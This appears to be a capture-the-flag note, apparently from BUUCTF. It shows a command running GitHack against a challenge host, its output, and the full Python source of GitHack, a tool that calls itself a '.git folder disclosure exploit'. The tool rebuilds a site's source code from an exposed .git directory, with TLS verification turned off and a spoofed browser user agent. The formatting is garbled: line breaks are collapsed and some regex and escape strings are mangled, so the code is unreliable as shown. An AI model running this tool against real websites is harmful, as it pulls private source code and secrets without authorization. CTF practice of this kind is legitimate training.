D:...BUUCTFGitHack-master>python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/[+] Download and parse index file ...[+] index.html[OK] index.html

#!/usr/bin/env python# -*- encoding: utf-8 -*-
import systry:    # python 2.x    import urllib2    import urlparse    import Queueexcept Exception as e:    # python 3.x    import urllib.request as urllib2    import urllib.parse as urlparse    import queue as Queue
import osimport zlibimport threadingimport reimport timefrom lib.parser import parseimport ssl
context = ssl._create_unverified_context()user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '              'Chrome/99.0.4844.82 Safari/537.36'if len(sys.argv) == 1:    msg = """A `.git` folder disclosure exploit. By LiJieJie
Usage: python GitHack.py http://www.target.com/.git/"""    print(msg)    sys.exit(0)

class Scanner(object):    def __init__(self):        self.base_url = sys.argv[-1]        self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')        print('[+] Download and parse index file ...')        try:            data = self._request_data(sys.argv[-1] + '/index')        except Exception as e:            print('[ERROR] index file download failed: %s' % str(e))            exit(-1)        with open('index', 'wb') as f:            f.write(data)        if not os.path.exists(self.domain):            os.mkdir(self.domain)        self.dest_dir = os.path.abspath(self.domain)        self.queue = Queue.Queue()        for entry in parse('index'):            if "sha1" in entry.keys():                entry_name = entry["name"].strip()                if self.is_valid_name(entry_name):                    self.queue.put((entry["sha1"].strip(), entry_name))                    try:                        print('[+] %s' % entry['name'])                    except Exception as e:                        pass
        self.lock = threading.Lock()        self.thread_count = 10        self.STOP_ME = False
    def is_valid_name(self, entry_name):        if entry_name.find('..') >= 0 or                 entry_name.startswith('/') or                 entry_name.startswith('\') or                 not os.path.abspath(os.path.join(self.domain, entry_name)).startswith(self.dest_dir):            try:                print('[ERROR] Invalid entry name: %s' % entry_name)            except Exception as e:                pass            return False        return True
    @staticmethod    def _request_data(url):        request = urllib2.Request(url, None, {'User-Agent': user_agent})        return urllib2.urlopen(request, context=context).read()
    def _print(self, msg):        self.lock.acquire()        try:            print(msg)        except Exception as e:            pass        self.lock.release()
    def get_back_file(self):        while not self.STOP_ME:            try:                sha1, file_name = self.queue.get(timeout=0.5)            except Exception as e:                break            for i in range(3):                try:                    folder = '/objects/%s/' % sha1[:2]                    data = self._request_data(self.base_url + folder + sha1[2:])                    try:                        data = zlib.decompress(data)                    except:                        self._print('[Error] Fail to decompress %s' % file_name)                    # data = re.sub(r'blob d+�0', '', data)                    try:                        data = re.sub(r'blob d+�0', '', data)                    except Exception as e:                        data = re.sub(b"blob \d+�0", b'', data)                    target_dir = os.path.join(self.domain, os.path.dirname(file_name))                    if target_dir and not os.path.exists(target_dir):                        os.makedirs(target_dir)                    with open(os.path.join(self.domain, file_name), 'wb') as f:                        f.write(data)                    self._print('[OK] %s' % file_name)                    break                except urllib2.HTTPError as e:                    if str(e).find('HTTP Error 404') >= 0:                        self._print('[File not found] %s' % file_name)                        break                except Exception as e:                    self._print('[Error] %s' % str(e))        self.exit_thread()
    def exit_thread(self):        self.lock.acquire()        self.thread_count -= 1        self.lock.release()
    def scan(self):        for i in range(self.thread_count):            t = threading.Thread(target=self.get_back_file)            t.start()
if __name__ == '__main__':    s = Scanner()    s.scan()    try:        while s.thread_count > 0:            time.sleep(0.1)    except KeyboardInterrupt as e:        s.STOP_ME = True        time.sleep(1.0)        print('User Aborted.')